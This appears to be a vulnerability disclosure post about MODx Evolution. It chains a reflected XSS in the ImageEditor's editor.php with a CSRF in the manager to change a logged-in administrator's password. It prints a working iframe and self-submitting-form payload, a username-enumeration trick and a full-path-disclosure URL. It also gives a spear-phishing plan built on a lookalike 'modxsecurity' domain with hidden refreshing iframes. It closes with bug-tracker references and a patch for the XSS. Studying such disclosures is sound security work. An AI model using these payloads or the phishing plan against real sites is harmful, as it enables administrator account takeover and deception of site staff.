Mod-X suffers from cross site request forgery and cross site scripting vulnerabilities.
ebc4331a7829ff7faea7c68e9ebb7f995ab5cd44eef64514b5a9d14245b625ca
Got bored and decided to break the new website of the company I work for.
Throughout I'll be dropping two new exploits that were chained to allow the
changing of the administrative password of a default mod-x install. This is
not a full review of mod-x, my main goal was just to break something, so I
went with the first exploit I found.
If you know me, you know I don't disclose unless you can exploit without
user interaction. However, I thought it was a cool writeup on how security
mechanisms were bypassed that I thought I would share.
Did not discover much input that can be manipulated until I ran across a
modx extension called ditto. Through ditto, I was able to discover a full
path disclosure:
http://www.victim.com/archives?myDittoCall_year=2009&myDittoCall_month=false&myDittoCall_day=false&myDittoCall_start[]=0
Error message:
« MODx Parse Error »
MODx encountered the following error while attempting to parse the requested
resource:
« PHP Parse Error »
PHP error debug
Error: htmlspecialchars() expects parameter 1 to be string, array
given
Error type/ Nr.: Warning - 2
File: /var/www/vhosts/
victim.com/httpdocs/assets/snippets/ditto/classes/ditto.class.inc.php
Line: 1077
Line 1077 source: $query[htmlspecialchars($param, ENT_QUOTES)] =
htmlspecialchars($value, ENT_QUOTES);
Parser timing
MySQL: 0.0022 s (19 Requests)
PHP: 0.1612 s
Total: 0.1633 s
Effected Code (even though error is pretty verbose):
foreach ($_GET as $param=>$value) {
if ($param != 'id' && $param != 'q') {
$query[htmlspecialchars($param, ENT_QUOTES)] =
htmlspecialchars($value, ENT_QUOTES);
}
}
First things first, htmlspecialchars with ENT_QUOTES seems to be messing
with all of our injections. No charset appears to be specified, let's take
a look at their default charset, perhaps one was specially set.
UTF-8 is default charset, no special reflective injection point.
However, we do have a full path disclosure and we now know that
victim.comis running modx, let's go download that!
*After fscking around, found that they use Evolution and not Revolution
version of mod-x*
http://www.victim.com/manager/ - Our login entry point.
Looks like there's no nonce checking so csrf is a viable option after some
modification. First, let's acquire some sort of username we can use to
manipulate/create users (or something of equal fun).
http://www.victim.com/manager/index.php?action=show_form
Very nice! The forgot password form is happy to verify if the user exists
via the email or not. Good chances that the email will be user@victim.com.
This information can be used to advance our attack.
After a lot of looking around and guessing names I finally ran across a
valid user by looking around the site for contact emails and other
usernames. Turns out it was a marketing person (+1 SE aid).
After finding a valid user email, I was able to now work on crafting the
exploit and using spear social engineering to exponentially increase the
likelihood of an attack (spear phishing is very successful).
Now, there are all sorts of valid CSRF around. However, we have a problem.
victim.com/manager/index.php checks referrers. index.php includes/requires
the actions that we want to have fun with.
a.) Attack vector 1: See how strenuous the checks are for the referrer.
Possibly attack a hosted sub-domain or another application (blog? Open
source apps seem to work together.).
if (!empty($referer)) {
if (!preg_match('/^'.preg_quote(MODX_SITE_URL, '/').'/i',
$referer)) {
b.) Attack vector 2: Find a CSRF outside of index.php or directly access
included/required files so referrer check is never executed. Problem is
direct includes don't work on most of the fun scripts because of:
if (IN_MANAGER_MODE != "true")
die("<b>INCLUDE_ORDERING_ERROR</b><br /><br />Please use the MODx
Content Manager instead of accessing this file directly.");
c.) Attack vector 3: Somehow get the script on the site. Not likely
otherwise this would probably never be needed.
d.) Attack vector 4: Find an xss to reflect a self-submitting form.
However, protect.inc.php seems to have basic xss protection and is included
in most scripts.
'@<script[^>]*?>.*?</script>@si',
'@&#(\d+);@e',
'@\[\[(.*?)\]\]@si',
'@\[!(.*?)!\]@si',
'@\[\~(.*?)\~\]@si',
'@\[\((.*?)\)\]@si',
'@{{(.*?)}}@si',
'@\[\+(.*?)\+\]@si',
'@\[\*(.*?)\*\]@si'
After a bit of digging around (<30 minutes) in the scripts, I found a simple
injection point in /manager/media/ImageEditor/editor.php.
<title>Image Editor - <?php echo $_GET['img']; ?></title>
Great! However, protect.inc.php is included. So <script> gets stripped.
That's alright, let's find another way to run our javascript.
</title></head><body onload="alert('hi');">
This is why blacklists fail. Now all we need is a self-submitting form by
placing javascript inside onload. Current Injection:
</title></head><body onload='document.formcool.submit();'><form
name='formcool' method='POST' action='
http://victim.com/manager/index.php?a=34'><input type='hidden' name='id'
value=''><input type='hidden' name='pass1' value='admin2' /><input
type='hidden' name='pass2' value='admin2' /><input type='submit' name='save'
value='Submit+Query' /></form>
*We've crafted a self-submitting POST to execute a password change on the
logged in user. While id is a variable, it is not needed and will execute
on the current logged in user.
Now, we'll place an iframe on our test site to attack our test modx
installation. PoC:
attacksite.com/xploit.html:
HI! Password change recently?
<br />
<iframe src="http://victim.com/manager/media/ImageEditor/editor.php?img=</title></head><body
onload='document.formcool.submit();'><form name='formcool' method='POST'
action='http://victim.com/manager/index.php?a=34'><input type='hidden'
name='id' value=''><input type='hidden' name='pass1' value='admin2' /><input
type='hidden' name='pass2' value='admin2' /><input type='submit' name='save'
value='Submit+Query' /></form>" />
*So, iframe points to xss on target domain which will execute our CSRF which
simply changes the logged in user's password to 'admin2'. Of course, this
can be hidden in a valid website (my SE is included below).
Login: setcookie('modx_remember_manager', $_SESSION['mgrShortname'],
time()+60*60*24*365 <---- Save cookie for 60 days, 60 hours, 24 minutes,
and 365 seconds. If cookies are saved, like your average user, we will have
the past 60 days for our exploit to have executed without worrying about
them logging after viewing our malicious SE site.
Login: remember me is an option for indefinite storeage.
My Social Engineer (The company I work for is a security company. So an
exploit on the site would be an emberassment if someone who doesn't work
here would find one. This is how I built the SE):
.info's are now $3. modxsecurity.info anyone? Not taken! We could even do
modxsecurity.com if we wanted to spend more and make that average user think
it's even more legitimate.
Well, we know that this is pretty much a default installation. No file I've
checked has deviated from default. So it's simple to find security problems
with their installation, report it to the email we discovered earlier saying
they have x amount of vulnerabilities and our malicious website is a guide
on how to fix it. Then point to our modxsecurity.com site with instructions
on several misconfigurations/exploits and how to fix. Have hidden iframe
placed in background that refreshes to make sure user is logged in an
attempt injection. The iframe could be wrapped in ajax to execute iframe
every minute or so to make sure to catch them when they're logged in. To
stop generating traffic after exploit works, a test login using something
like cURL can be made and the response checked for successful login. Best
part is, even if found user is not capable of web administration, they would
logically forward it to those who are which would still execute our attack.
In this instance, a better PoC would likely be made because username may not
be known (*note - passwords can be sent via email which may include
username, adding administrators is possible, modifying pages with php in
context of logged in user is possible, and etc.).
Ethical Disclosure:
CSRF had been reported: http://bugs.modx.com/browse/MODX-206
However, referrer check was added on 22/Jul/08 4:00 PM and tokenizing was
suggested and attempted implementation on 08/Oct/09 1:38 AM, however not
much has been implemented in this regards.
XSS reported: http://bugs.modx.com/browse/MODX-2281
*Had manually emailed and got a response on August 12th. Was finally able
to create ticket on the 16th. Found that no one was assigned, commented,
and etc. for a week. It is a minor bug (as I filed it as such), however the
application of it can make it a bit more destructive (as shown above). As
all issues are now public knowledge and given time, public release with
patch considerations for those needing it.
Patching:
It's relatively simple, just find:
mod-x-install-path/manager/media/ImageEditor/
and edit the file editor.php on the line 22:
<title>Image Editor - <?php echo $_GET['img']; ?></title>
With:
<title>Image Editor - <?php echo htmlspecialchars($_GET['img'], ENT_QUOTES,
'UTF-8'); ?></title>
This should not break anything as it's not saved in a variable and is only
shown in the title bar of the browser on this one page.
As for the other protection like CSRF, might want to wait for the mod-x team
on this one. I hope after a couple years from the original bug report, they
have a little something that just needs some tweaking without breaking how
their manager operates.
~TurboBorland~